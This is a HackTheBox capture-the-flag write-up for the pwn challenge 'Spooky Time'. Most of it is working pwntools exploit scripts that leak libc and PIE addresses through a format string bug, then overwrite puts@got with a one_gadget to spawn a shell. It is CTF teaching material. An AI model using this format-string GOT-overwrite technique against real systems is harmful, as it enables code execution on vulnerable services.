← Back to Writeups
HTBN/APwn

Spooky Time

XESXOR8/23/20265 min read
#pwn#htb#n/a

Spooky Time

Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

Everyone loves a good jumpscare, especially kids or the person who does it.. Try to scare them all!

Solution Approach

Core idea: Stack-Based Exploitation. Exploiting FSB Bug.

Steps

  1. In this challenge we're given a 64 bit binary, not stripped, and dynamically linked.

NOTES: There's a libc too..

BINARY PROTECTIONS

  1. Remembering there's No Relro, hence the concept here might be somehow related to overwrite Global Offset Table (GOT) with format string vuln.

  2. Also there is PIE which we need to bypass to overwrite the function and there's canary which we need to leak in order to control the return address.

  3. Anyway after i decompiled the binary, it seems we don't have to leak the canary, we just need to leak the PIE and calculate the PIE Base.

  4. The challenge is very straight forward, we can leak the libc and pie with the second format strings vuln (it accepts up to 299 bytes).

  5. At glance, the function we need to overwrite seems the puts().

  6. Let us see if there are any one_gadget we can use.

LIST OF ONE_GADGET AVAIL

  1. Great we got few, it seems the 3rd and 4th shall be our interest.
  2. Let us start leaking the libc and pie.

UTILIZE THE 2ND FORMAT STRINGS VULN

  1. Based on the result, use this 2 potential address.

1st box --> potential libc, 2nd box --> potential piebase.

  1. Let us calculate them.

NOTES: We leak it at the 2nd vuln, but to access it, must at the 1st vuln (so we won't get EOF and we can calc the pie & libc base)

SCRIPT

from pwn import *
import os 

os.system('clear')

def start(argv=[],  *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2],  *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

### for remote solve

gdbscript = '''
init-pwndbg
piebase
breakrva 0x1492
continue
'''.format(**locals())

exe = './spooky_time'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'

library = './glibc/libc.so.6'
libc = context.binary = ELF(library, checksec=False)

sh = start()
pause()

sh.sendline('%3$p.%51$p')
sh.recvuntil(b'than')
sh.recvline()
get = sh.recvlineS()
print('GRABBED:',get)

potential_libc_leak = get[:14]
#print(potential_libc_leak)
libc_leak = int(potential_libc_leak, 16)
log.info('LIBC_LEAK --> %#0x', libc_leak)
pie_base_leak = get[15:]
pie_leak = int(pie_base_leak, 16)
log.info('PIE_LEAK --> %#0x', pie_leak)
#print(pie_base_leak)

sh.interactive()

CALCULATING THE LIBC_BASE

From the vmmap result we know the libc_base is --> 0x7f0516c00000

Calculate result --> 1133111

let us get the pie_base --> 5056

SCRIPT PT.2

from pwn import *
import os 

os.system('clear')

def start(argv=[],  *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2],  *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

### for remote solve

gdbscript = '''
init-pwndbg
piebase
breakrva 0x1492
continue
'''.format(**locals())

exe = './spooky_time'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'

library = './glibc/libc.so.6'
libc = context.binary = ELF(library, checksec=False)

sh = start()
pause()

sh.sendline('%3$p.%51$p')
sh.recvuntil(b'than')
sh.recvline()
get = sh.recvlineS()
print('GRABBED:',get)

potential_libc_leak = get[:14]
#print(potential_libc_leak)
libc_leak = int(potential_libc_leak, 16)
log.info('LIBC_LEAK --> %#0x', libc_leak)
pie_base_leak = get[15:]
pie_leak = int(pie_base_leak, 16)
log.info('PIE_LEAK --> %#0x', pie_leak)
#print(pie_base_leak)

elf.address = pie_leak - 0x13c0 #5056 
log.info('Calculated base address --> %#0x', elf.address)

libc.address = libc_leak - 0x114a37 #1133111
log.info('Calculated lib_base --> %#0x', libc.address)

sh.interactive()
  1. Now we need to choose the correct one_gadget, let us start by using the 3rd one and bruteforce the correct offset.

SCRIPT PT.3

from pwn import *
import os 

os.system('clear')

def start(argv=[],  *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2],  *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

### for remote solve

gdbscript = '''
init-pwndbg
piebase
breakrva 0x1492
continue
'''.format(**locals())

exe = './spooky_time'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'

library = './glibc/libc.so.6'
libc = context.binary = ELF(library, checksec=False)

sh = start()
#pause()

sh.sendline('%3$p.%51$p')
sh.recvuntil(b'than')
sh.recvline()
get = sh.recvlineS()
print('GRABBED:',get)

potential_libc_leak = get[:14]
#print(potential_libc_leak)
libc_leak = int(potential_libc_leak, 16)
log.info('LIBC_LEAK --> %#0x', libc_leak)
pie_base_leak = get[15:]
pie_leak = int(pie_base_leak, 16)
log.info('PIE_LEAK --> %#0x', pie_leak)
#print(pie_base_leak)

elf.address = pie_leak - 0x13c0 #5056 
log.info('Calculated base address --> %#0x', elf.address)

libc.address = libc_leak - 0x114a37 #1133111
log.info('Calculated lib_base --> %#0x', libc.address)

offset = 1
one_gadget = libc.address + 0xebcf5
payload = fmtstr_payload(offset, {elf.got['puts'] : one_gadget}) # overwrite puts@got
sh.sendlineafter(b'time..\n\n', payload)

sh.interactive()
  1. Anyway there must be the intended solution to get the offset, but in this case i bruteforced it from number 1 to 20 and i got it correct at offset 8.

FINAL SCRIPT

from pwn import *
import os 

os.system('clear')

def start(argv=[],  *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2],  *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

### for remote solve

gdbscript = '''
init-pwndbg
piebase
breakrva 0x1492
continue
'''.format(**locals())

exe = './spooky_time'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'

library = './glibc/libc.so.6'
libc = context.binary = ELF(library, checksec=False)

sh = start()
#pause()

sh.sendline('%3$p.%51$p')
sh.recvuntil(b'than')
sh.recvline()
get = sh.recvlineS()
print('GRABBED:',get)

potential_libc_leak = get[:14]
#print(potential_libc_leak)
libc_leak = int(potential_libc_leak, 16)
log.info('LIBC_LEAK --> %#0x', libc_leak)
pie_base_leak = get[15:]
pie_leak = int(pie_base_leak, 16)
log.info('PIE_LEAK --> %#0x', pie_leak)
#print(pie_base_leak)

elf.address = pie_leak - 0x13c0 #5056 
log.info('Calculated base address --> %#0x', elf.address)

libc.address = libc_leak - 0x114a37 #1133111
log.info('Calculated lib_base --> %#0x', libc.address)

offset = 8
one_gadget = libc.address + 0xebcf5 # 3rd one_gadget
payload = fmtstr_payload(offset, {elf.got['puts'] : one_gadget}) # overwrite puts@got
sh.sendlineafter(b'time..\n\n', payload)

sh.interactive()

RESULT (LOCAL)

TEST REMOTELY

  1. Got the flag!

Flag

REDACTED

Lessons Learned

  1. Stack-Based Exploitation.
  2. Exploiting FSB Bug.
  3. Overwrite puts@got with one gadget.